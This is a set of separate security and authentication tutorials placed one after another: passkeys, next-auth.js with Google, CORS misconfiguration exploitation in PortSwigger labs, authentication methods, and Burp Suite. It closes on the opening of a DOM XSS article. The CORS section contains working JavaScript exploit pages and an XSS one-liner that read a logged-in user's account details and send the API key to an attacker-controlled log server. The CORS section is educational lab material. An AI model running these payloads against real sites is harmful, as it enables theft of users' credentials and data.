This guide will explore the current state of authentication, delve into what passkeys are, how they work, and discuss the challenges and future of this technology.

The Current State of Authentication

Authentication is a critical component of digital security, serving as the gateway to systems and data. Despite numerous advancements, traditional authentication methods, such as passwords and social logins, remain prevalent. But these methods are increasingly proving to be inadequate in addressing modern security challenges.

Passwords, once considered the gold standard, are now recognized as a significant weak link in cybersecurity. The rise in sophisticated cyberattacks, coupled with poor password practices, has highlighted the urgent need for more robust authentication mechanisms.

Passwords are susceptible to various attacks, including phishing, brute force, and credential stuffing. Many users also recycle passwords across multiple sites, exacerbating the risk. Managing multiple passwords can be cumbersome, leading to weak password practices and forgotten credentials.

Social logins, while convenient, bring their own set of issues, including privacy concerns and dependency on third-party platforms. Users are often wary of sharing their social media credentials with third-party sites, fearing data misuse.

Also, social logins tie users to specific platforms, which can be problematic if a user decides to leave a social network or if the platform experiences an outage.

Magic links, an alternative authentication method, also have their limitations. Magic links are sent via email, which is not always secure. If an email account is compromised, so is the authentication.

The process of checking email and clicking a link can be cumbersome, particularly for users on mobile devices or with poor internet connectivity. Emails can also be delayed, end up in spam folders, or fail to deliver, causing frustration and potential access issues for users.

As the digital landscape continues to evolve, the need for more secure, user-friendly, and scalable authentication solutions becomes paramount. This exploration of the inherent problems with passwords, social logins, and magic links sets the stage for understanding why passkeys are a vital innovation in the field of authentication.

What are Passkeys?

Passkeys represent a modern authentication solution designed to address the shortcomings of traditional methods. Essentially, passkeys eliminate the need for passwords by utilizing a pair of cryptographic keys to authenticate users securely.

At the core of passkeys is public-private key cryptography. Each user has a unique pair of keys: a public key, which is stored on the server, and a private key, which remains securely on the user's device.

When a user attempts to authenticate, they use a method like biometric verification (fingerprint or facial recognition) or a device-specific security feature to access their private key.

This private key generates a cryptographic signature that the server verifies using the corresponding public key, ensuring a secure and seamless authentication process.

Diagram showing the passkey authentication process

Passkeys are built on the FIDO2 standard, which promotes interoperability and security across different devices and platforms. Major tech companies, including Google, Microsoft, Okta, and Apple, support this standard, making it a robust and widely adopted solution.

The use of biometrics and device-based authentication enhances security by ensuring that the private key never leaves the user's device and is never exposed to potential attackers.

This approach significantly reduces the risk of phishing attacks, as there are no passwords to be stolen or guessed. Passkeys also help streamline the user experience by eliminating the need to remember and manage multiple passwords.

Implementing passkeys involves a few key steps:

1. Registration: During account creation or passkey setup, the user's device generates a new key pair. The public key is sent to the server and stored with the user's account information.
2. Authentication: When the user logs in, they use their private key to generate a cryptographic signature. The server verifies this signature using the stored public key, ensuring that the user is who they claim to be.

Visit learnpasskeys.io to learn in detail how each of these processes work.

By leveraging these principles, passkeys offer a secure, user-friendly, and scalable solution for modern authentication needs. As developers, understanding how passkeys work and how to implement them is crucial in staying ahead in the realm of digital security.

Challenges with Passkeys

While passkeys offer numerous advantages over traditional authentication methods, they are not without their challenges. Understanding these challenges is crucial for developers and organizations considering adopting this technology.

Adoption and Integration

One of the primary challenges with passkeys is the integration with existing systems.

Many organizations rely on legacy systems that are not compatible with passkey technology, requiring significant overhauls to implement. Migrating to a passkey-based system involves not only technical adjustments but also changes in infrastructure, which can be resource-intensive and time-consuming.

User Education and Trust

Introducing a new authentication method requires educating users about how it works and why it's beneficial.

Users need to understand and trust the new system, which can be a hurdle given the novelty of passkeys. Ensuring that users feel comfortable and secure with the transition from passwords to passkeys is essential for widespread adoption.

Technical Considerations

Passkeys rely heavily on device capabilities. Not all devices support biometric authentication or the FIDO2 standard, potentially limiting the adoption of passkeys.

Developers need to ensure that fallback mechanisms are in place for users with unsupported devices, which can complicate the implementation process.

Compatibility and Interoperability

While the FIDO2 standard promotes interoperability, ensuring compatibility across different devices, operating systems, and browsers can still be challenging. Developers need to thoroughly test their implementations to ensure a seamless user experience across all platforms.

Despite these challenges, the benefits of passkeys in terms of security and user experience make them a compelling option for modern authentication. By addressing these challenges proactively, developers and organizations can pave the way for a more secure and user-friendly authentication future.

The Future of Authentication

The evolution of authentication is a testament to our ongoing quest for balance between security and convenience. From the simplicity of passwords to the robust security of passkeys, each step forward has been driven by the need to protect our digital lives against increasingly sophisticated threats.

Passkeys represent a significant leap in this journey, offering a secure, user-friendly alternative to traditional methods. By leveraging cryptographic keys and biometric verification, passkeys address many of the vulnerabilities that plague passwords and social logins.

The path to widespread adoption is not without its challenges, though, from integration hurdles to user education. But despite these obstacles, the benefits of passkeys make them a compelling option for modern authentication.

As developers and organizations navigate these challenges, the future of authentication looks promising. By embracing innovations like passkeys, we can move towards a more secure, seamless digital experience for all users.

The story of authentication is ongoing, and as we continue to innovate, the lessons from our past and the potential of our future guide us towards a safer digital world. Stay ahead of the curve, keep learning, and together, we can build a more secure digital landscape.

Thanks for reading!

This guide demonstrates the straightforward process of incorporating authentication into your Next.js app using the next-auth.js library. While the library provides numerous options (providers), this tutorial focuses on the implementation using the Google Provider.

You'll also gain insight into effortlessly setting up protected routes within your application, a task made easy by the next-auth.js library.

When you are ready, let's dive in.

How to Set Up the next-auth.js Library

Once your Next.js application is up and running, we're ready to dive in.

Quick note: I'll be referencing the "app" directory consistently in this guide. If this term is new to you, take a moment to consult the Next.js documentation for clarity. If you're utilizing the "pages" directory, fear not, as the implementation is almost identical.

Install the next-auth.js library with the following command:

npm install next-auth

Having completed the installation, create an api folder in your root app folder, and inside it create an auth folder. Finally, create a [...nextauth] folder inside the auth folder.

Inside the [...nextauth] folder, create two files named route.ts and options.ts.

Your folder structure up to this point should look like this:

Afterwards, in the options.ts file, insert the following code:

import type { NextAuthOptions } from 'next-auth'
import GoogleProvider from "next-auth/providers/google";

export const options: NextAuthOptions = {
    providers: [
  GoogleProvider({
    clientId: process.env.GOOGLE_CLIENT_ID as string,
    clientSecret: process.env.GOOGLE_CLIENT_SECRET as string,
  })
]
}

We imported the NextAuthOptions type to ensure the options variable is type-safe.

In order to use Google Provider, we imported GoogleProvider from next-auth as illustrated above.

The options variable is where we embed whichever provider we intend to use from next-auth.js.

Notice that we exported the options variable, enabling us to use it throughout the application (although we mostly need it the route.ts file). As we delve into the implementation in the route.ts file, we'll explore how it is utilized.

To use the Google Provider effectively, you need to get your clientId and clientSecret properties. Rest assured, we'll delve into this shortly. First, create an .env file where you'll assign values to both properties.

env files are always at the root folder of your application:

Now, we'll see how you can now get your clientId and clientSecret.

Assuming you already have a Google account, follow these easy steps:

1. Visit Google Cloud Platform, and click the console button at the top right corner of the navbar.

2. You'll be directed to your console dashboard. On the top left, right after the Google Cloud logo, click the dropdown menu to create a new project:

3. Assign your project any name you prefer, and then click the "Create" button. Mine will be "Next-auth Tutorial".

4. You will return to your console dashboard, and the same dropdown menu should now display the project you recently created. If it doesn't, click on it and select the project.

5. Assuming everything is in order, scroll down to the "Quick Access" section and choose the "API & Services" card. This action will lead you to the "API & Services" page. In the sidebar of this page, select the "Credentials" option:

6. You will be directed to the "Credentials" page. Here, click the "CONFIGURE CONSENT SCREEN" button:

7. This will take you to the consent screen configuration page, where you will determine how you want to configure and register your app. Opt for the "External" option and proceed by clicking the "Create" button:

8. Following this, you'll find yourself on the "OAuth Consent Screen" page. Proceed by completing these four steps:

Beginning with the "OAuth Consent Screen" tab, you'll be prompted to modify your app information. The key sections to focus on are "App Information" and "Developer Contact Information." After filling these fields, click the "SAVE AND CONTINUE" button.

You will then transition to the "Scopes" tab. Here, once again, click the "SAVE AND CONTINUE" button.

Next up is the "Test Users" tab. Likewise, proceed by clicking the "SAVE AND CONTINUE" button.

And finally, you'll reach the last tab, the summary tab. Scroll down and select the "BACK TO DASHBOARD" button.

Upon completing these steps, your dashboard should resemble the following:

9. Return to the "Credentials" page, and there, click the "Create Credentials" button. A dropdown menu will appear. Choose the "OAuth Client ID" option:

10. This action will take you to the page where you'll craft your client ID. On this page, you'll see a single dropdown field for your application type, which will reveal additional fields based on your selection. Select the "Web Application" option from this dropdown:

Scroll down to the "Authorized redirect URI" section and paste the following URI: http://localhost:3000/api/auth/callback/google. Afterwards, hit the "CREATE" button.

11. Lastly, a modal will emerge, displaying your unique Client ID and Client Secret. Keep in mind that both values are confidential, specific to each user, and must be kept secure. For privacy reasons, both values are blurred in the image below:

Once you've completed these steps, go back to your code editor and paste the appropriate values of each variable in the .env file:

GOOGLE_CLIENT_ID = client ID value
GOOGLE_CLIENT_SECRET = client secret value

You'll also need to generate a NEXT_AUTH_SECRET key to enhance the security of the authentication process in next-auth.js. Generate your secret key by executing the following command in your terminal:

openssl rand -base64 32

This command will generate a 32-character string. Copy this string and paste it as the value for the NEXTAUTH_SECRET variable in your .env file. Your final .env file should resemble the following:

GOOGLE_CLIENT_ID = client ID value
GOOGLE_CLIENT_SECRET = client secret value
NEXT_AUTH_SECRET = next auth secret

After you have successfully implemented your .env variables, paste the following code into your route.ts file:

import NextAuth from "next-auth/next";
import { options } from "./options";

const handler = NextAuth(options);

export { handler as GET, handler as POST };

This ensures that GET and POST requests sent to this endpoint (api/auth/[...nextauth]) will be handled by the next-auth library.

To conclude, restart your application. It's important to note that the next-auth.js library won't be actively engaged at this point. The reason is that you haven't yet implemented protected routes for it to safeguard your pages. We'll explore this aspect next.

How to Implement Protected Routes with next-auth.js

With the use of Next.js's middleware, protecting routes is very easy.

Begin by creating a middleware.ts file in the root src folder.

To protect all your pages uniformly, insert the following code snippet:

export { default } from 'next-auth/middleware'

Alternatively, you can selectively secure specific pages by utilizing a matcher. For instance, protecting only home and about page would be implemented as follows:

export { default } from 'next-auth/middleware'

export const config = { matcher: ['/', '/about'] }

Now, when you visit both pages on your localhost, they will present an authentication prompt inviting you to "Sign in with Google," instead of displaying the regular content:

Conclusion

In this tutorial, we've covered the essential steps to implement authentication and protected routes in your Next.js application using the next-auth.js library with the Google Provider.

By following these steps, you've laid a solid foundation for integrating authentication into your Next.js application, bolstering its security and enhancing the user experience.

With the knowledge gained here, you can now confidently develop applications that offer secure access control and personalized content based on user authentication.

It's also worth noting that next-auth.js provides multiple providers you can employ to implement authentication, not just Google Provider.

The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.

For example, if **business.com** tries to make an HTTP request to **metrics.com**, the browser, by default, will block the request because it comes from a different domain.

As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.

Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as Cross-Origin Resource Sharing (CORS).

This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.

I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.

Table of Contents

• What is Cross-Site Origin Policy (CORS)?
• Impact of CORS Misconfigurations
• How to Identify CORS
• Exploitable Cases
• Unexploitable Case
• Mitigations
• Resources

What is Cross-Site Origin Policy (CORS)?

CORS is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.

There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — **Access-Control-Allow-Origin** and **Access-Control-Allow-Credentials**.

Access-Control-Allow-Origin: This header specifies the allowed domains to read the response contents. The value can be either a wildcard character **(*)**, which indicates all domains are allowed, or a comma-separated list of domains.

#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list of domains
Access-Control-Allow-Origin: example.com, metrics.com

Access-Control-Allow-Credentials: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.

The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.

#allow passing credenitals in the requests
Access-Control-Allow-Credentials: true

#Disallow passing in the requests
Access-Control-Allow-Credentials: false

Impact of CORS Misconfigurations

CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:

• Data Theft: Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.
• Cross-Site Scripting (XSS): Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.
• Remote Code Execution in some cases (StackStorm case)

How to Identify CORS

When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.

In the example below, I searched for the **Access-Control-Allow-Credentials** header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.

Figures 1 & 2 show the search functionality in Burp Suite to look for CORS headers.

To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.

1. Reflected Origins

Set the Origin header in the request to an arbitrary domain, such as [**https://attackersdomain.com**](https://attackersdomain.com./), and check the **Access-Control-Allow-Origin** header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.

The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the **Access-Control-Allow-Credentials** header is also included in the response and is set to **true**.

However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.

📌 To exploit reflected origins, check the exploitation section — Case #1.

Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.

2. Modified Origins

Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.

If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the **metrics.com** domain would be something like **attackmetrics.com** or **metrics.com.attack.com**.

The risk of this misconfiguration is considered high if the domain allows for passing credentials with the **Access-Control-Allow-Credentials** header set to true. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.

But the risk would be low if authenticated requests were not allowed.

📌To exploit modified origins, check the exploitation section — Case #1.

3. Trusted subdomains with Insecure Protocol.

Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.

This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.

📌 To exploit trusted subdomains, check the exploitation section — Case #3.

Figure 4 — shows the application accepts arbitrary insecure subdomains.

4. Null Origin

Set the Origin header to the null value — **Origin: null**, and see if the application sets **the Access-Control-Allow-Origin** header to null. If it does, it means that null origins are whitelisted.

The risk level is considered high if the domain allows for authenticated requests with the **Access-Control-Allow-Credentials** header set to **true**.

But if it does not, then the issue is considered low, and not exploitable.

📌 To exploit Null Origins, check the exploitation section- Case #2.

Figure 5 — shows the application accepted the null value and returned it in the response.

Exploitable CORS Cases

In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.

Case 1: Reflected Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the attacker’s supplied domain and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true

Figure 6 — shows the CORS headers for reflected origin.

The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.

<html>
  <body>
    <script>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  </script>
  <body>
</html>

Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.

The above script starts with initializing the **XMLHttpRequest** (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.

Then, we instruct the object to execute a function called retrieveKeys that fetches the admin API key and sends the response to us when it loads.

Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the Credentials function set to true.

The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the **access-Control-Allow-Credentials** is set to true.

To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.

Login into the application, click the “Go to exploit server,” and paste the script in the body. Then click on “Deliver exploit to victim.” In a real scenario, you need to send the link to the user and try to entice them to click it.

Figures 7 & 8 — show the process of hosting the JS payload and delivering it to the user.

After delivering the exploit, click on “Access log” and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite Decoder and decode it as a URL to retrieve the cleartext value.

Figures 9 & 10 — show the admin API key in the logs and the plain text key value on Decoder.

Case 2: Null Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the null value and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Figure 11 — shows the application server accepts null origins.

The exploitation requires us to host the JS script file to be accessible to the targeted user (same as in case #1). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.

<html>
    <body>
        <iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        <script>
            var req = new XMLHttpRequest();
            var url = 'APPLICATION URL'
            req.onload = retrieveKeys;

            req.open('GET', url + '/accountDetails', true);
            req.withCredentials = true;
            req.send(null);

           function retrieveKeys() {
               fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
            }
        </script>"></iframe>
    </body>
</html>

When the authenticated user clicks on our link [**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.), we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.

The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.

_Figures 12 & 13 — show null value is added to the request header, and the user accessed the cors_nullpoc page.

Figure 14 — shows the user’s account details when clicking the link.

Case 3: Trusted Subdomains

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to any of its subdomains and allows credentials with Access-Control-Allow-Credentials set to true.

The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.

Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true

Figure 15 — shows the domain accepts its subdomains’ origins.

If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.

In the Port Swigger lab #3, the application trusts its subdomain — stock — that is vulnerable to XSS vulnerability in the **ProductId=** parameter.

Figures 16 & 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.

We will use the same script to exploit this case, except we will add the location where we inject the payload using the **document.location** function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.

<script>
    document.location="http://subdomain.domain.com/?productId=<script>
    <script>
       var req = new XMLHttpRequest();
       req.onload = retrieveKeys;
       req.open('GET', "APPLICATION URL/accountDetails",true);
       req.withCredentials = true;
       req.send(null);

       function retrieveKeys() {
            location='https://Exolit_Server_Hostname/log?key='+this.responseText;
        };

  </script> 
      </script>

After that, we save the script as **cors_poc.html**, host it on our server, and send the link to the user.

<html>
<body>
<script>
    document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>

As you can see below in the screenshots, when the user accessed the link, the script injected the payload in the **productId** parameter and retrieved the API key.

Figures 18, 19 & 20 — show injecting the XSS payload and capturing the APi key in action.

Unexploitable Case: Wild Card (*)

The application is NOT vulnerable when the Access-Control-Allow-Origin is set to wildcard ***** , even if the Access-Control-Allow-Credentials header is set to true.

This is because there is a safety check in place that disables the Allow-Credentials header when the origin is set to a wildcard.

Mitigations

• Implement proper CORS headers: The server can add appropriate CORS headers to allow cross-origin requests from only trusted sites.
• Restrict access to sensitive data: It is important to restrict access to sensitive data to only trusted domains. This can be done by implementing access control measures such as authentication and authorization.

Wrapping Up

In this tutorial, we have covered the basics of CORS as a security feature that prevents web pages from making unauthorized requests to different domains.

We also covered the standard CORS testing techniques for detecting and exploiting CORS misconfigurations with tools like Burp Suites and Chrome DevTools.

By implementing and testing CORS correctly, web developers can ensure their web applications are secure and avoid misconfigurations that let attackers access unauthorized resources and compromise the application's security.

Resources

• https://ranakhalil.teachable.com/p/web-security-academy-video-series
• https://www.trustedsec.com/blog/cors-findings/
• https://www.we45.com/post/3-ways-you-can-exploit-cors-misconfigurations
• https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/

With the rise of cyber-threats, companies need to ensure that their users are authenticated before accessing any sensitive information. This helps protect the online safety of both parties.

In the past, the most common authentication method that we're all likely familiar with was using a username and password to sign in to apps and services.

And if you're a programmer, you've likely developed projects where you have implemented this method as a form of authentication.

But hey! Guess what? Things have changed over the past couple of years. With advancements in technology, this means security has to be taken more seriously and we need more strict authentication approaches.

And that's what we'll learn about in this tutorial.

Different Authentication Methods

There are many different methods of authenticating users, and each has its own advantages and disadvantages. The most common methods of user authentication are:

• username and password,
• two-factor authentication,
• biometrics

just to list a few.

But as time passes, we continue to evolve and new methods are introduced that provide a safer way to store user data. Some examples of these methods include:

• Passwordless login
• Multi-factor authentication, and
• Token-based authentication

In this article, we will explore the most common methods of user authentication. By understanding the different options available, you can choose the best method for your needs.

But first, let's understand what we mean by authentication.

What is User Authentication?

To better understand what authentication is all about, we can relate it to a real world example.

Let's take a scenario where you are out at the store shopping and you need to make a payment with your credit card. You go through the steps of swiping your card to authenticate the payment, but what really happens before the transaction is complete?

After swiping your card, the machine will read the card info and send it to the issuer for verification. The issuer will then check for a couple of things in order to verify the transaction.

In this case, the issuer will check the card info against what is on record, like expiry date, card number, and account balance. If everything matches what is on record and there are sufficient funds, an authorization message is sent and the transaction is allowed.

In a case where the info doesn't match and/or there are not enough funds, a decline message is instead sent and the transaction is declined.

Now with this understanding, authentication is the process of verifying the identity of a user. User authentication verifies the identity of a user before granting access to sensitive information or systems.

What are some common authentication methods?

There are many ways to authenticate a user, and each platform has different methods that they use. But as I mentioned above, some common methods include username and password, fingerprint, facial recognition, and iris scan.

Username/password authentication

Username and password are the most common form of authentication. This is where a user enters their username and password into a login form, and if the credentials match what is stored in the database, the user is granted access.

But keep in mind that this method can be insecure if passwords are not properly encrypted or if users reuse the same password for multiple accounts.

Biometric authentication methods

Fingerprint authentication uses an individual's unique fingerprint to verify their identity. This can be done using a fingerprint scanner or by using a smartphone's built-in sensor.

This method is most commonly used in smart phones and recently there has been an increase in the use of this method in laptops, too.

Facial recognition works in a similar way, using an image of the user's face to verify their identity. Iris scanning is another biometric authentication method that uses an image of the user's iris to identify them.

More Secure Authentication Methods

Even though these have historically been the most common methods, recently we have seen a rise in other methods which are said to be more secure.

In fact, many organizations are turning to these techniques in addition to the user providing a username and password. This is considered an extra layer of security.

These newer techniques include:

1. Two-Factor Authentication

Two-factor authentication, also known as 2FA, is an additional layer of security that can be used to protect your account.

2FA is a way of verifying a user from two different approaches, thats is: using something the user already knows (like their username and password), and using something the user has, like a phone.

When 2FA is enabled, apart from entering the username and password correctly, you will be prompted for the second piece of information (usually a code generated by an app on your phone or a code sent via SMS). This makes it much more difficult for someone to gain access to your account, even if they have your password.

2FA is not foolproof, but it is more secure compared to using only username and password. This makes it a valuable tool to help keep your account safe. If you are concerned about the security of your account, enabling 2FA will be of great help.

2. Passwordless Login

Passwordless login, just as the name suggests, is a method of logging into an account without needing a username or a password. There are many reasons why you might want to stop using a password and opt for a passwordless login experience.

For one, it's more convenient for users. They don't have to remember yet another username and password combination. And two, it's more secure. There are no weak passwords to be guessed or brute-forced by attackers.

So how do you set up a passwordless login? There are a few different methods you can use, each with its own set of pros and cons.

Different methods of passwordless login

One popular method is to use an email link. When the user wants to log in, they provide their email address. They then receive an email with a link that expires after a certain amount of time. When they click the link, they're logged in without having to enter a password.

Another option is to use a one-time code generated by an app on the user's phone. The code is valid for only a short period of time, so even if someone were to intercept it, they wouldn't be able to use it.

Which method is best for you depends on your security needs and preferences. But whatever you choose, ditching the password is sure to make life easier for your users - and make your site more secure in the process.

For a practical guide on how to use the passwordless method, Auth0 has a step-by-step video guide on how to implement this.

3. Multi-factor Authentication

Also known as MFA, multi-factor authentication is an authentication method that requires a user to verify their identity by providing more than one piece of information that identifies them. This can range from something the user knows, has, or is.

This means that in addition to having a username and password, you will be required to provide extra proof depending on the system you are trying to access. This extra proof can range from a fingerprint to a secret security key or even a code generated randomly.

A good example of this authentication is when you set up an online banking system. Despite having entered a correct username and password, your might be required to either provide your fingerprint or even a code in order for some transaction to happen.

This means that even if someone was to obtain your username and password, they would still need your fingerprint or a code that has been sent to your phone in order to accomplish a specific task.

4. Token-Based Authentication

Token-based authentication is a method of authenticating users that involves providing them with a unique token. This token can be used to identify the user and provide access to certain resources. The toke usually contains a string of characters generated by the system that's sent to the user's device or email.

There are many benefits to using token-based authentication, including improved security and scalability.

Tokens, while costly and inconvenient at times, provide a greater level of security than passwords or biometrics since they are only issued when requested. In addition to this, they can also be set to expire after a certain period of time, making it more secure compared to the traditional approaches.

This method is relatively new and it has become more popular in recent years as web applications have become more complex and distributed across multiple servers. It offers several other advantages over other methods.

With token-based authentication, the token is stored on the client side, making it much more secure. In addition, since there's no need to store tokens on the server, scaling becomes much easier.

Overall, token-based authentication offers better security and performance than other methods. If you're looking to implement an auth system for your web application, consider using tokens.

Conclusion

User authentication is a critical part of any application, whether it's mobile or web.

It is important to choose an authentication method that is both secure and easy to use.

There are many different factors to consider when choosing an authentication method, but the most important thing is to choose one that will protect your users' data. Hopefully this article has given you some insights into how to do that.

Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications.

Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully featured web-auditing platform, it comes with many tools to help you discover bugs in web applications. You can also use third-party modules to further improve Burp Suite's capabilities.

Burp Suite is an essential tool for any security testing team. In this article, we’ll take a closer look at the main components of Burp Suite, including the proxy, the intruder, and the repeater.

Burp Proxy

One of the key components of Burp Suite is the Burp Proxy. This tool allows you to intercept and inspect traffic between your browser and the target.

By intercepting this traffic, you can understand exactly what data is being sent and received. This is useful for identifying potential vulnerabilities or misconfigurations in the application.

The proxy is particularly useful for identifying issues such as cross-site scripting (XSS) and SQL injection.

XSS is a type of security vulnerability that allows an attacker to inject malicious code into a web page. SQL injection allows an attacker to inject malicious SQL code into a web application.

By identifying these types of issues, you can take steps to mitigate them and improve the security of your application.

Also, Burp proxy allows us to forward requests to other Burp tools before sending them to the target. This allows us to further analyze the traffic and inspect individual requests and responses. This can be useful for identifying patterns or anomalies that might indicate a vulnerability.

Burp Repeater

Another key component of Burp Suite is the Burp Repeater. The Repeater is a powerful tool that allows you to test the application by sending custom requests and analyzing the responses.

One of the key benefits of the Repeater is its ability to identify vulnerabilities that might not be visible during automated scans. Automated scans are useful for identifying a wide range of common vulnerabilities, but they may not be able to detect all the issues.

The Repeater gives us greater control over the testing process. It allows us to fine-tune our tests to identify specific vulnerabilities. For example, we will be able to identify a vulnerability by sending a request with a specific input.

By analyzing the response, we may find that the application is behaving in unexpected ways. This will indicate the possibility of a vulnerability. This vulnerability might not be detected using an automated scan, but it could potentially be exploited by an attacker.

The Repeater can also test the application’s resilience to specific types of attacks. For example, you can use the Repeater to send a series of requests to test the application’s ability to handle SQL injection or cross-site scripting (XSS) attacks.

By understanding the application’s behavior in these scenarios, you can take steps to improve its security.

Burp Intruder

One of the most powerful tools in Burp Suite is the Burp Intruder. This tool allows you to launch automated attacks on web applications to test their security.

With the Burp Intruder, you can test for a wide range of vulnerabilities. This includes SQL injection, cross-site scripting (XSS), and directory traversal. The intruder is highly flexible, allowing us to customize our attacks.

We can also use the intruder to perform specific audits such as brute-forcing, dictionary attacks, and fuzzing. The Intruder also lets us target specific areas of the application by selecting custom parameters.

Given the damage Intruder can cause if used carelessly, Burp Suite has implemented rate-limiting in the community edition. This means that you can only use the Intruder for a certain number of requests, such as brute-forcing a login form, in the free version of the tool.

If you’re planning to use Burp Suite to audit your business applications, consider purchasing a commercial license. This will give you access to all the features of Burp Suite without any rate limits.

Other Burp Tools

Burp Suite also comes with many additional tools. These include the spider, scanner, decoder, sequencer, and comparer.

These tools serve as utilities in general web application audits. For example, the spider can help discover and map the content and structure of a web application. We can use the scanner to perform automated vulnerability scans.

The decoder helps to decode and analyze encoded data, while the sequencer enables us to test the randomness of tokens and session IDs. The comparer compares the behavior of different requests and responses.

In addition to these, there are also many third-party modules available in Burp Suite. These modules further extend the capabilities of Burp Suite to help us test our web applications.

Summary

In conclusion, Burp Suite is a powerful set of tools for web application auditing. It includes a range of tools and features for testing the security of web applications.

The proxy, the intruder, and the repeater are some of the main components of Burp Suite, each one with a specific function for identifying and assessing security risks.

With the help of these tools, security professionals and testers can identify and mitigate risks in web applications. With all-around web auditing features, it is also an essential tool for bug-bounty hunters.

Hope you enjoyed this article. You can find more about my articles and videos on my website.

Website security issues and vulnerabilities are a global problem as cyber security vulnerabilities are increasing. We have seen a major rise in the average number of these cases in the past few years, and 2021 saw an all-time high.

So in this tutorial, we are going to talk about DOM XSS cross-site scripting security issues and what impact they can have on your data. Make sure you read till the end. Let's begin by brushing up on some basics about DOM XSS cross-site script security.

